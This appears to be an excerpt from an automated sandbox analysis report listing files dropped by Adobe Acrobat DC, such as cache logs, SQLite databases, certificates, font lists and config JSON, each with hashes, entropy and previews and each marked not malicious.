MD5:	44BBFF743541D1502900BB66FAC7A4D6
SHA1:	181F7A157B844A4B4E5FB5302753D32089580CAB
SHA-256:	C400871E6D14F6B6DB1D1FDAC70CD9A58D50393315E4EB9E94ACDDBC281E07DF
SHA-512:	99B449EC97C0A8A0F52935DE21583604C28141A463D7426B164A488F6212C1C16F6164F81D74F5079E1B2CA93938AE9EA2E4E9D8A5624C57F33D40BF558E1D76
Malicious:	false
Preview:	2025/01/10-15:39:59.645 7d0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:39:59.662 7d0 Recovering log #3.2025/01/10-15:39:59.682 7d0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.244046685538431
Encrypted:	false
SSDEEP:	6:iO4oxKq2PcNwi2nKuAl9OmbzNMxIFUtSoohZmwsoK5zkwOcNwi2nKuAl9OmbzNMT:7OvLZHAa8jFUts/kZ54ZHAa84J
MD5:	44BBFF743541D1502900BB66FAC7A4D6
SHA1:	181F7A157B844A4B4E5FB5302753D32089580CAB
SHA-256:	C400871E6D14F6B6DB1D1FDAC70CD9A58D50393315E4EB9E94ACDDBC281E07DF
SHA-512:	99B449EC97C0A8A0F52935DE21583604C28141A463D7426B164A488F6212C1C16F6164F81D74F5079E1B2CA93938AE9EA2E4E9D8A5624C57F33D40BF558E1D76
Malicious:	false
Preview:	2025/01/10-15:39:59.645 7d0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:39:59.662 7d0 Recovering log #3.2025/01/10-15:39:59.682 7d0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438534743246585
Encrypted:	false
SSDEEP:	384:Ce0ci5GhiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:TturVgazUpUTTGt
MD5:	F943C35BC60D68979323F8D2AC401F66
SHA1:	E3AA4C33583498A0E2929DB7333C70C7C8FBE9F7
SHA-256:	6351369A5A6A9BADE6BE1DDCC66082292D6D3D3253A3F45DAA9BC16503B586B9
SHA-512:	D7A8391F8F9FA4A58AEC3F2DE5769A8005C296FB392E29900B90E1197C2BAB529D95830050BDA9A00BAB403B35AC8BEBC4D013BEFA8EB18A7BD5AEDD4B632D42
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2135259757160908
Encrypted:	false
SSDEEP:	24:7+tLgj6wKRqL7zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9Ma:7ML8WRq/mFTIF3XmHjBoGGR+jMz+LhL
MD5:	A052560F5C7FD09B5518FF295F02FA9F
SHA1:	5428AD954F0D66AB36C34807953AC12AF75D0895
SHA-256:	2FDADBE3269ECFD38EEE881E49EABAA275DEE9663AAE32AA8956FC97CA7E38FB
SHA-512:	787E00F95943BFD5B4056F119A497D618259B3B1A7D9A1EAC92BF68170B6DA18AF78DB25F1E2BF475722C9527BAB5ECDFD30A054DE9842F3D513162F36FC9418
Malicious:	false
Preview:	.... .c.....R_..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFkltHwvltfllXlE/HT8kahvNNX8RolJuRdxLlGB9lQRYwpDdt:kKzeT8f3NMa8RdWBwRd
MD5:	7D2B7A75ADFA510252A717D4B1BFDA2B
SHA1:	C242DB77E88072127CA97B60BA661CFFB7BFACB1
SHA-256:	584990E72631A7E2F2C4C405B64BE3FA8024E9B8380C78F9A33461DA33F53D43
SHA-512:	0D71D23F3569C46F09F623500634E43B20E30F8813F98783F6943F6413842F64C4F8B223CDF057474D25FF47BBB6C781DB13D9B5E30916A8E0C62211822386F7
Malicious:	false
Preview:	p...... .........q{.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.1330815974444413
Encrypted:	false
SSDEEP:	6:kKNwPL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:CiDnLNkPlE99SNxAhUe/3
MD5:	B6CE3D755912106FE52B19F6BA62287C
SHA1:	970EC1ED85546F993346386766E5BD9EA4B84668
SHA-256:	FFBF6DFF05E3685EE90FCF6899D13A30DDCD7D29B256E83929474F3C3988EB70
SHA-512:	57D0E834C054346D013078DB9B541318BA692E869EC0EE34390D0AFDE2C941425A8AA59D24376FDC0F57D3FD87BCA291BDF78A3C0FE777CB1975C37908BD7133
Malicious:	false
Preview:	p...... .........~..c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2864

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2864

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.392910678547094
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFC8XeWWsGiIPEeOF0YloAvJM3g98kUwPeUkwRe9:YvXKXFC8qsdTeOaGMbLUkee9
MD5:	7FD14FFD25A7E60F41BE37C36E75F214
SHA1:	9517A943C0FF3B3466270B80A7710E067631E58A
SHA-256:	E492F6192CBAF0783658D7A910D9C6E1289F54403944D23685209EB5924A0AF3
SHA-512:	B0E5E18CDF6DFA13399A08CF8BF39E4340E6A0D1CA7D9C91DA02A5376FFF52C788C3EC277735FC607326D21381C83A8A6C43A20A861F00CF22DF9CD0E46D2E69
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9b287d70-7f9d-4527-95e8-cbfec2c7054c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736715668640,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.327755645891934
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFC8XeWWsGiIPEeOF0YloAvJfBoTfXpnrPeUkwRe9:YvXKXFC8qsdTeOaGWTfXcUkee9
MD5:	D9F2CBE3A3E141ECCB757ABD5CB298B0
SHA1:	61858113CA7D09F4118E01238D634C5ABE157D25
SHA-256:	F2BD715773922144FD5F9F96C2C7159E007DEF56DF5341387432203D7A3FB8B4
SHA-512:	67F5CABD15BD34C4DBA5166B024DE2A5CA32B096ADF55BA4BBA2B4DE94CA8269A23A636BD93A307E0B1F6581E6BBE9DF0567478DC6A4B03CFA897F1BCB41879D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9b287d70-7f9d-4527-95e8-cbfec2c7054c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736715668640,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.30551671626376
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFC8XeWWsGiIPEeOF0YloAvJfBD2G6UpnrPeUkwRe9:YvXKXFC8qsdTeOaGR22cUkee9
MD5:	5836578C31791F57C05610DEA7CB116F
SHA1:	5D79EFD56038D24D7541FACE02A1D7A8412131A5
SHA-256:	B3CEEC04B8EA2EA23F47E50602A550393D1D8F281F654AF6FE2A44E23A88BFA5
SHA-512:	F5FDA54B3987E5CE5FE6EDDFCB13C7F63EB4D9A9CCE1A0835CA0C193E0DF360888E0ADDF2FC2EC6C378612EF5A1C9828400D26CD852CB8FD9C156C8A151A5BB0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9b287d70-7f9d-4527-95e8-cbfec2c7054c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736715668640,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.380825728797696
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFC8XeWWsGiIPEeOF0YloAvJfPmwrPeUkwRe9:YvXKXFC8qsdTeOaGH56Ukee9
MD5:	64B5F01AA16B3C0577FF4B6BE4A79AAF
SHA1:	34FC70C68DD90F7248E49B42D7B8B6036D01CC7D
SHA-256:	2C5A916514C36EFE4C017E3440029DE33F7B1F281B2513D61107D2F44BE03EAA
SHA-512:	1631EB12D268E83C112EFFE4239594D6F57B43240A87112E54C2E432686EC8A4305235D3EE0665D609CC6BFF2637F1A9C348FC87DE256E2FF73F83827CD4D65B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9b287d70-7f9d-4527-95e8-cbfec2c7054c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736715668640,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.693842922392176
Encrypted:	false
SSDEEP:	24:Yv6X1qmeO3pLgE9cQx8LennAvzBvkn0RCmK8czOCCSY:YvO5echgy6SAFv5Ah8cv/Y
MD5:	5A08D68E047A961685D6A98C72E00055
SHA1:	0EF0DBB01FFDC549FB0A6F91EAA974D38278CAFA
SHA-256:	6EC72FB1B7C328C206338D7D17DEA4F899B81481936CB5D9C25C9A74F1DB7B34
SHA-512:	2FEEE00E8DE96289232B8944B3B33B71412FCE9D3D67B87221F9F2C11183933B5FEE6BD7E68DF3F4BC5EF65203D055DA67EB1F7B35686C8BA8BA0C7C9EF29670
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9b287d70-7f9d-4527-95e8-cbfec2c7054c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736715668640,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.316433268204973
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFC8XeWWsGiIPEeOF0YloAvJf8dPeUkwRe9:YvXKXFC8qsdTeOaGU8Ukee9
MD5:	CB75C40A4E9E64BC7E8C6E959D6AB860
